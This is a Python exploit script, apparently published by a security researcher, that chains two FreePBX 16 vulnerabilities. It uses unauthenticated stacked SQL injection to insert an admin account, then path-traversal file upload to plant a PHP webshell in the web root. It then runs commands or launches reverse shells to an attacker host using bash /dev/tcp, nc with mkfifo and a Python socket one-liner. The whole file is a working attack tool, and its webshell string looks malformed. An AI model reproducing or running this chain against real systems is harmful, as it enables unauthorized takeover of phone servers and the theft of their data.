#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# FreePBX 16 unauthenticated SQLi -> admin -> authenticated file-upload RCE
# Chains:
# CVE-2025-57819 unauth stacked SQL injection (endpoint module loader, 'brand' param)
# CVE-2025-61678 authenticated arbitrary file upload (endpoint 'upload_cust_fw', fwbrand traversal)
#
# Flow:
# 1. Inject a brand-new FreePBX admin straight into the `ampusers` table via stacked SQLi (no auth).
# 2. Log into the FreePBX admin panel as that user.
# 3. Abuse the Endpoint Manager firmware uploader to drop a PHP webshell into the web root.
# 4. Run a single command (--command) or pop an interactive reverse shell (--lhost/--lport).
#
import argparse
import hashlib
import random
import string
import sys
import threading
import time
try:
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
sys.exit("[-] pip install requests")
BANNER = r"""
██████████ █████ █████
░░███░░░░░█░░███ ░░███
░███ █ ░ ░███████ █████ █████ ░███████
░██████ ░███░░███ ░░███ ░░███ ░███░░███
░███░░█ ░███ ░███ ░░░█████░ ░███ ░███
░███ ░ █ ░███ ░███ ███░░░███ ░███ ░███
██████████ ████ █████ █████ █████ ████████
░░░░░░░░░░ ░░░░ ░░░░░ ░░░░░ ░░░░░ ░░░░░░░░
FreePBX 16 SQLi -> Admin -> RCE (CVE-2025-57819 + CVE-2025-61678)
linkedin: ehxb /// medium.com/@Ehxb /// github 0xEHxb
"""
# ---- pretty logging ------------------------------------------------------
def log(tag, msg, c=""):
cols = {"+": "\033[92m", "-": "\033[91m", "*": "\033[94m", "!": "\033[93m"}
r = "\033[0m"
print(f"{cols.get(tag, '')}[{tag}]{r} {msg}")
def hx(s):
"""encode a python str/bytes as a MySQL 0x... hex literal (quote-free)."""
if isinstance(s, str):
s = s.encode()
return "0x" + s.hex()
def rnd(n=8):
return "".join(random.choices(string.ascii_lowercase + string.digits, k=n))
class FreePBXExploit:
def __init__(self, rhost, rport, ssl=True, timeout=30):
scheme = "https" if ssl else "http"
# omit the port when it's the default, otherwise FreePBX's Referer host check
# (host vs host:port) rejects the upload with "ajaxRequest declined - Referrer"
if (ssl and rport == 443) or (not ssl and rport == 80):
self.base = f"{scheme}://{rhost}"
else:
self.base = f"{scheme}://{rhost}:{rport}"
self.host = rhost
self.timeout = timeout
self.s = requests.Session()
self.s.verify = False
self.s.headers.update({"User-Agent": "Mozilla/5.0"})
self.user = "svc_" + rnd(5)
self.password = rnd(12)
self.shell_dir = rnd(10)
self.shell_name = rnd(8) + ".php"
# ---- step 1: CVE-2025-57819 stacked SQLi -> create admin -------------
def _sqli(self, payload):
"""Send a stacked-query payload through the unauth endpoint loader."""
params = {
"module": r"FreePBX\modules\endpoint\ajax",
"command": "model",
"template": "x",
"model": "model",
"brand": payload,
}
return self.s.get(f"{self.base}/admin/ajax.php", params=params, timeout=self.timeout)
def create_admin(self):
log("*", f"[CVE-2025-57819] creating admin via stacked SQLi: {self.user}:{self.password}")
sha1 = hashlib.sha1(self.password.encode()).hexdigest()
# idempotent: drop any leftover, then insert with full ('*') section access
self._sqli(f"x'; DELETE FROM asterisk.ampusers WHERE username={hx(self.user)}-- -")
self._sqli(
"x'; INSERT INTO asterisk.ampusers (username,password_sha1,sections) "
f"VALUES ({hx(self.user)},{hx(sha1)},0x2a)-- -"
)
log("+", "admin row inserted into ampusers")
# ---- step 2: authenticate ------------------------------------------
def login(self):
log("*", "logging into FreePBX admin panel")
self.s.get(f"{self.base}/admin/config.php", timeout=self.timeout)
r = self.s.post(
f"{self.base}/admin/config.php",
data={"username": self.user, "password": self.password},
timeout=self.timeout,
)
if "Logout" in r.text or "Dashboard" in r.text or "nav-tabs" in r.text:
log("+", "authenticated as " + self.user)
return True
# fall back: hit the dashboard to confirm a live session
r = self.s.get(f"{self.base}/admin/config.php", timeout=self.timeout)
if "Logout" in r.text:
log("+", "authenticated as " + self.user)
return True
log("-", "login failed")
return False
# ---- step 3: CVE-2025-61678 file-upload -> webshell -----------------
def upload_shell(self):
log("*", f"[CVE-2025-61678] uploading webshell -> /{self.shell_dir}/{self.shell_name}")
webshell = b'";system($_REQUEST["cmd"]);echo "";} ?>'
files = {
"dzuuid": (None, "48069f49-c03e-4182-81f7-48e36622e0d3"),
"dzchunkindex": (None, "0"),
"dztotalfilesize": (None, str(len(webshell))),
"dzchunksize": (None, "2000000"),
"dztotalchunkcount": (None, "1"),
"dzchunkbyteoffset": (None, "0"),
# traversal out of /tftpboot/customfw/ into the web root; new dir so mkdir() succeeds
"fwbrand": (None, f"../../../var/www/html/{self.shell_dir}"),
"fwmodel": (None, "1"),
"fwversion": (None, "1"),
"file": (self.shell_name, webshell, "application/x-php"),
}
headers = {
"Referer": f"{self.base}/admin/config.php?display=epm_advanced",
"X-Requested-With": "XMLHttpRequest",
}
# the handler throws a non-fatal unlink/mkdir warning AFTER writing the file -> ignore status
self.s.post(
f"{self.base}/admin/ajax.php?module=endpoint&command=upload_cust_fw",
files=files, headers=headers, timeout=self.timeout,
)
self.shell_url = f"{self.base}/{self.shell_dir}/{self.shell_name}"
if self.run_cmd("echo EHXB_$((1+1))").strip().endswith("EHXB_2"):
log("+", f"webshell live: {self.shell_url}")
return True
log("-", "webshell not reachable")
return False
# ---- step 4a: single command ---------------------------------------
def run_cmd(self, cmd):
try:
r = self.s.get(self.shell_url, params={"cmd": cmd}, timeout=self.timeout)
return r.text.replace("", "").replace("", "")
except Exception:
return ""
# ---- step 4b: interactive reverse shell ----------------------------
def reverse_shell(self, lhost, lport):
payloads = [
f'bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"',
f'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {lhost} {lport} >/tmp/f',
f'python3 -c \'import socket,os,pty;s=socket.socket();s.connect(("{lhost}",{lport}));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("bash")\'',
]
log("*", f"firing reverse shell -> {lhost}:{lport}")
for p in payloads:
threading.Thread(target=self.run_cmd, args=(p,), daemon=True).start()
time.sleep(0.5)
def main():
print(BANNER)
ap = argparse.ArgumentParser(
description="FreePBX 16 unauth SQLi -> admin -> RCE (CVE-2025-57819 + CVE-2025-61678)")
ap.add_argument("--rhost", required=True, help="target host (e.g. pbx.example.com)")
ap.add_argument("--rport", type=int, default=443, help="target port (default 443)")
ap.add_argument("--http", action="store_true", help="use plain HTTP instead of HTTPS")
ap.add_argument("--lhost", help="attacker IP for reverse shell")
ap.add_argument("--lport", type=int, help="attacker port for reverse shell")
ap.add_argument("--command", help="run a single command instead of a reverse shell")
args = ap.parse_args()
x = FreePBXExploit(args.rhost, args.rport, ssl=not args.http)
x.create_admin()
if not x.login():
sys.exit(1)
if not x.upload_shell():
sys.exit(1)
# mode: single command
if args.command:
log("*", f"executing: {args.command}")
print(x.run_cmd(args.command))
return
# mode: reverse shell (auto-listener via pwntools if available)
if args.lhost and args.lport:
try:
from pwn import listen
l = listen(args.lport)
time.sleep(1)
x.reverse_shell(args.lhost, args.lport)
l.wait_for_connection()
log("+", "shell incoming! dropping to interactive")
l.interactive()
except ImportError:
log("!", "pwntools not found - start your own listener:")
log("!", f" nc -lvnp {args.lport}")
input("[*] press ENTER once your listener is ready...")
x.reverse_shell(args.lhost, args.lport)
log("*", "payload sent, check your listener")
return
# default: confirm RCE
log("+", "RCE confirmed as: " + x.run_cmd("id").strip())
log("!", "use --command '' or --lhost/--lport for a shell")
if __name__ == "__main__":
main()